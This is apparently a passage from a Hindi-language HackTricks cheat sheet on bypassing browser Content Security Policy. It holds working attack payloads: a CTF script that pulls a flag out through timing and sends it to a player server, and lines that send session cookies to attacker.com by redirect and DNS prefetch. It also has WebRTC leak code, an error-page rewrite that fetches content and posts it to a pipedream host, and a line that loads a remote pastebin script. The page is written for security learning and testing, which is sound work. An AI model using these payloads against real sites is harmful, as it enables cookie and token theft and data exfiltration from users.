यदि एक पैरामीटर जो आपने भेजा है, नीति के घोषणा के अंदर पेस्ट किया जा रहा है, तो आप नीति को इस तरह से बदल सकते हैं कि यह बेकार हो जाए। आप इन बायपास में से किसी के साथ स्क्रिप्ट 'unsafe-inline' की अनुमति दे सकते हैं:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

क्योंकि यह निर्देश मौजूदा script-src निर्देशों को अधिलेखित करेगा।
आप यहाँ एक उदाहरण पा सकते हैं: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

Edge में यह बहुत सरल है। यदि आप CSP में केवल यह जोड़ सकते हैं: ;_ Edge पूरी नीति को गिरा देगा।
उदाहरण: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; XSS (iframe) के माध्यम से - टाइम अटैक

निर्देश 'unsafe-inline' की कमी पर ध्यान दें।
इस बार आप पीड़ित को XSS के माध्यम से आपके नियंत्रण में एक पृष्ठ लोड करने के लिए मजबूर कर सकते हैं <iframe के साथ। इस बार आप पीड़ित को उस पृष्ठ तक पहुँचने के लिए मजबूर करने जा रहे हैं जहाँ से आप जानकारी निकालना चाहते हैं (CSRF)। आप पृष्ठ की सामग्री तक पहुँच नहीं सकते, लेकिन यदि किसी तरह आप पृष्ठ को लोड करने में लगने वाले समय को नियंत्रित कर सकते हैं तो आप आवश्यक जानकारी निकाल सकते हैं।

इस बार एक झंडा निकाला जाएगा, जब भी एक चर सही अनुमानित किया जाता है SQLi के माध्यम से प्रतिक्रिया अधिक समय लेती है नींद फ़ंक्शन के कारण। फिर, आप झंडा निकालने में सक्षम होंगे:

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

Via Bookmarklets

यह हमला कुछ सामाजिक इंजीनियरिंग को शामिल करेगा जहाँ हमलावर उपयोगकर्ता को ब्राउज़र के बुकमार्कलेट पर एक लिंक खींचने और छोड़ने के लिए मनाता है। यह बुकमार्कलेट दुष्ट जावास्क्रिप्ट कोड को शामिल करेगा जो खींचने और छोड़ने या क्लिक करने पर वर्तमान वेब विंडो के संदर्भ में निष्पादित होगा, CSP को बायपास करते हुए और संवेदनशील जानकारी जैसे कुकीज़ या टोकन चुराने की अनुमति देगा।

अधिक जानकारी के लिए यहाँ मूल रिपोर्ट देखें।

CSP बायपास द्वारा CSP को प्रतिबंधित करना

इस CTF लेखन में, CSP को एक अनुमत iframe के अंदर एक अधिक प्रतिबंधात्मक CSP को इंजेक्ट करके बायपास किया गया है जो एक विशिष्ट JS फ़ाइल को लोड करने की अनुमति नहीं देता है, जो फिर, प्रोटोटाइप प्रदूषण या DOM क्लॉबरिंग के माध्यम से एक अलग स्क्रिप्ट का दुरुपयोग करके एक मनमाना स्क्रिप्ट लोड करने की अनुमति देता है।

आप csp विशेषता के साथ एक iframe के CSP को प्रतिबंधित कर सकते हैं:

{% code overflow="wrap" %}

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

{% endcode %}

इस CTF लेख में, HTML इंजेक्शन के माध्यम से CSP को अधिक सीमित करना संभव था, जिससे CSTI को रोकने वाला एक स्क्रिप्ट अक्षम हो गया और इसलिए कमजोरी का लाभ उठाया जा सका।
CSP को HTML मेटा टैग का उपयोग करके अधिक सीमित किया जा सकता है और इनलाइन स्क्रिप्ट को अक्षम किया जा सकता है उनके nonce को अनुमति देने के लिए प्रवेश को हटाकर और sha के माध्यम से विशिष्ट इनलाइन स्क्रिप्ट को सक्षम करके:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

JS exfiltration with Content-Security-Policy-Report-Only

यदि आप सर्वर को Content-Security-Policy-Report-Only हेडर के साथ आपके द्वारा नियंत्रित मान के साथ प्रतिक्रिया देने में सफल होते हैं (शायद CRLF के कारण), तो आप इसे अपने सर्वर की ओर इंगित कर सकते हैं और यदि आप JS सामग्री को <script> के साथ लपेटते हैं और क्योंकि CSP द्वारा unsafe-inline की अनुमति नहीं है, तो यह CSP त्रुटि को प्रेरित करेगा और स्क्रिप्ट का एक भाग (संवेदनशील जानकारी वाला) Content-Security-Policy-Report-Only से सर्वर पर भेजा जाएगा।

उदाहरण के लिए इस CTF लेख को देखें.

CVE-2020-6519

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

CSP और Iframe के साथ जानकारी लीक करना

• एक iframe बनाया जाता है जो एक URL (मान लेते हैं https://example.redirect.com) की ओर इशारा करता है जिसे CSP द्वारा अनुमति दी गई है।
• यह URL फिर एक गुप्त URL (जैसे, https://usersecret.example2.com) की ओर रीडायरेक्ट करता है जो CSP द्वारा अनुमति नहीं दी गई है।
• securitypolicyviolation इवेंट को सुनकर, कोई blockedURI प्रॉपर्टी को कैप्चर कर सकता है। यह प्रॉपर्टी ब्लॉक किए गए URI के डोमेन को प्रकट करती है, जिससे प्रारंभिक URL द्वारा रीडायरेक्ट किए गए गुप्त डोमेन का लीक होना होता है।

यह ध्यान देने योग्य है कि Chrome और Firefox जैसे ब्राउज़रों में CSP के संबंध में iframes को संभालने में विभिन्न व्यवहार होते हैं, जो संवेदनशील जानकारी के संभावित लीक का कारण बन सकते हैं।

एक और तकनीक CSP का उपयोग करके गुप्त सबडोमेन का अनुमान लगाने में शामिल है। यह विधि एक बाइनरी सर्च एल्गोरिदम पर निर्भर करती है और CSP को विशिष्ट डोमेन को शामिल करने के लिए समायोजित करती है जिन्हें जानबूझकर ब्लॉक किया गया है। उदाहरण के लिए, यदि गुप्त सबडोमेन अज्ञात वर्णों से बना है, तो आप CSP निर्देश को संशोधित करके इन सबडोमेनों को ब्लॉक या अनुमति देने के लिए विभिन्न सबडोमेनों का क्रमिक परीक्षण कर सकते हैं। यहाँ एक स्निपेट है जो दिखाता है कि CSP को इस विधि को सुविधाजनक बनाने के लिए कैसे सेट किया जा सकता है:

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

CSP द्वारा अवरुद्ध या अनुमति प्राप्त अनुरोधों की निगरानी करके, कोई भी गुप्त उपडोमेन में संभावित वर्णों को संकीर्ण कर सकता है, अंततः पूर्ण URL का पता लगा सकता है।

दोनों विधियाँ CSP कार्यान्वयन और ब्राउज़रों में व्यवहार के बारीकियों का लाभ उठाती हैं, यह प्रदर्शित करते हुए कि कैसे प्रतीत होता है कि सुरक्षित नीतियाँ अनजाने में संवेदनशील जानकारी लीक कर सकती हैं।

यहाँ से ट्रिक।

अनुभवी हैकरों और बग बाउंटी शिकारियों के साथ संवाद करने के लिए HackenProof Discord सर्वर में शामिल हों!

हैकिंग अंतर्दृष्टि
हैकिंग के रोमांच और चुनौतियों में गहराई से जाने वाली सामग्री के साथ संलग्न हों

वास्तविक समय हैक समाचार
वास्तविक समय समाचार और अंतर्दृष्टियों के माध्यम से तेज़-तर्रार हैकिंग दुनिया के साथ अद्यतित रहें

नवीनतम घोषणाएँ
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें

आज ही Discord पर हमसे जुड़ें और शीर्ष हैकरों के साथ सहयोग करना शुरू करें!

CSP को बायपास करने के लिए असुरक्षित तकनीकें

बहुत सारे पैरामीटर होने पर PHP त्रुटियाँ

इस वीडियो में अंतिम तकनीक के अनुसार, बहुत सारे पैरामीटर (1001 GET पैरामीटर, हालांकि आप इसे POST पैरामीटर और 20 से अधिक फ़ाइलों के साथ भी कर सकते हैं) भेजना। PHP वेब कोड में कोई भी परिभाषित header() नहीं भेजा जाएगा क्योंकि यह त्रुटि उत्पन्न करेगा।

PHP प्रतिक्रिया बफर ओवरलोड

PHP को डिफ़ॉल्ट रूप से 4096 बाइट्स तक प्रतिक्रिया को बफर करने के लिए जाना जाता है। इसलिए, यदि PHP एक चेतावनी दिखा रहा है, तो चेतावनियों के अंदर पर्याप्त डेटा प्रदान करके, प्रतिक्रिया CSP हेडर से पहले भेजी जाएगी, जिससे हेडर को अनदेखा किया जाएगा।
फिर, तकनीक मूल रूप से चेतावनियों के साथ प्रतिक्रिया बफर को भरने में है ताकि CSP हेडर न भेजा जाए।

इस लेख से विचार।

त्रुटि पृष्ठ को फिर से लिखें

इस लेख से ऐसा लगता है कि CSP सुरक्षा को बायपास करना संभव था एक त्रुटि पृष्ठ (संभवतः CSP के बिना) को लोड करके और इसकी सामग्री को फिर से लिखकर।

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOME एक तकनीक है जो एक XSS (या अत्यधिक सीमित XSS) एक पृष्ठ के अंत बिंदु में का दुरुपयोग करती है ताकि एक ही मूल के अन्य अंत बिंदुओं का दुरुपयोग किया जा सके। यह एक हमलावर पृष्ठ से कमजोर अंत बिंदु को लोड करके और फिर हमलावर पृष्ठ को उसी मूल में वास्तविक अंत बिंदु पर ताज़ा करके किया जाता है जिसे आप दुरुपयोग करना चाहते हैं। इस तरह कमजोर अंत बिंदु opener ऑब्जेक्ट का उपयोग कर सकता है पेलोड में DOM तक पहुँचने के लिए वास्तविक अंत बिंदु का दुरुपयोग करने के लिए। अधिक जानकारी के लिए देखें:

{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

इसके अलावा, wordpress में /wp-json/wp/v2/users/1?_jsonp=data पर एक JSONP अंत बिंदु है जो आउटपुट में भेजे गए डेटा को प्रतिबिंबित करेगा (केवल अक्षरों, संख्याओं और बिंदुओं की सीमा के साथ)।

एक हमलावर उस अंत बिंदु का दुरुपयोग करके WordPress के खिलाफ एक SOME हमले को जनरेट कर सकता है और इसे <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> के अंदर एंबेड कर सकता है, ध्यान दें कि यह स्क्रिप्ट लोड होगी क्योंकि इसे 'self' द्वारा अनुमति दी गई है। इसके अलावा, और क्योंकि WordPress स्थापित है, एक हमलावर SOME हमले का दुरुपयोग कमजोर कॉलबैक अंत बिंदु के माध्यम से कर सकता है जो CSP को बायपास करता है ताकि एक उपयोगकर्ता को अधिक विशेषाधिकार दिए जा सकें, एक नया प्लगइन स्थापित किया जा सके...
इस हमले को कैसे करना है, इसके बारे में अधिक जानकारी के लिए देखें https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

CSP Exfiltration Bypasses

यदि एक सख्त CSP है जो आपको बाहरी सर्वरों के साथ बातचीत करने की अनुमति नहीं देती है, तो कुछ चीजें हैं जो आप हमेशा जानकारी को एक्सफिल्ट्रेट करने के लिए कर सकते हैं।

Location

आप बस स्थान को अपडेट कर सकते हैं ताकि हमलावर के सर्वर पर गुप्त जानकारी भेजी जा सके:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

Meta tag

आप एक मेटा टैग इंजेक्ट करके रीडायरेक्ट कर सकते हैं (यह सिर्फ एक रीडायरेक्ट है, यह सामग्री लीक नहीं करेगा)

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Prefetch

पृष्ठों को तेजी से लोड करने के लिए, ब्राउज़र होस्टनाम को आईपी पते में पूर्व-हल करने और उन्हें बाद में उपयोग के लिए कैश करने जा रहे हैं।
आप एक ब्राउज़र को एक होस्टनाम को पूर्व-हल करने के लिए संकेत दे सकते हैं: <link rel="dns-prefetch" href="something.com">

आप इस व्यवहार का दुरुपयोग करके DNS अनुरोधों के माध्यम से संवेदनशील जानकारी को निकाल सकते हैं:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

एक और तरीका:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

इससे बचने के लिए सर्वर HTTP हेडर भेज सकता है:

X-DNS-Prefetch-Control: off

{% hint style="info" %} स्पष्ट रूप से, यह तकनीक हेडलेस ब्राउज़रों (बॉट्स) में काम नहीं करती है। {% endhint %}

WebRTC

कई पृष्ठों पर आप पढ़ सकते हैं कि WebRTC CSP की connect-src नीति की जांच नहीं करता है।

वास्तव में, आप DNS अनुरोध का उपयोग करके जानकारी लीक कर सकते हैं। इस कोड को देखें:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

एक और विकल्प:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

CSP नीतियों की ऑनलाइन जांच

• https://csp-evaluator.withgoogle.com/
• https://cspvalidator.org/

CSP स्वचालित रूप से बनाना

https://csper.io/docs/generating-content-security-policy

संदर्भ

• https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/
• https://lcamtuf.coredump.cx/postxss/
• https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d
• https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme
• https://www.youtube.com/watch?v=MCyPuOWs3dg
• https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/
• https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/

​

अनुभवी हैकर्स और बग बाउंटी शिकारियों के साथ संवाद करने के लिए HackenProof Discord सर्वर में शामिल हों!

हैकिंग अंतर्दृष्टि
हैकिंग के रोमांच और चुनौतियों में गहराई से जाने वाली सामग्री के साथ संलग्न हों

वास्तविक समय हैक समाचार
वास्तविक समय की समाचार और अंतर्दृष्टियों के माध्यम से तेज़-तर्रार हैकिंग दुनिया के साथ अद्यतित रहें

नवीनतम घोषणाएँ
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें

हमसे जुड़ें Discord पर और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!

{% hint style="success" %} AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

• सदस्यता योजनाएँ देखें!
• 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या Twitter 🐦 @hacktricks_live पर हमें फॉलो करें।**
• हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PR सबमिट करें।

{% endhint %}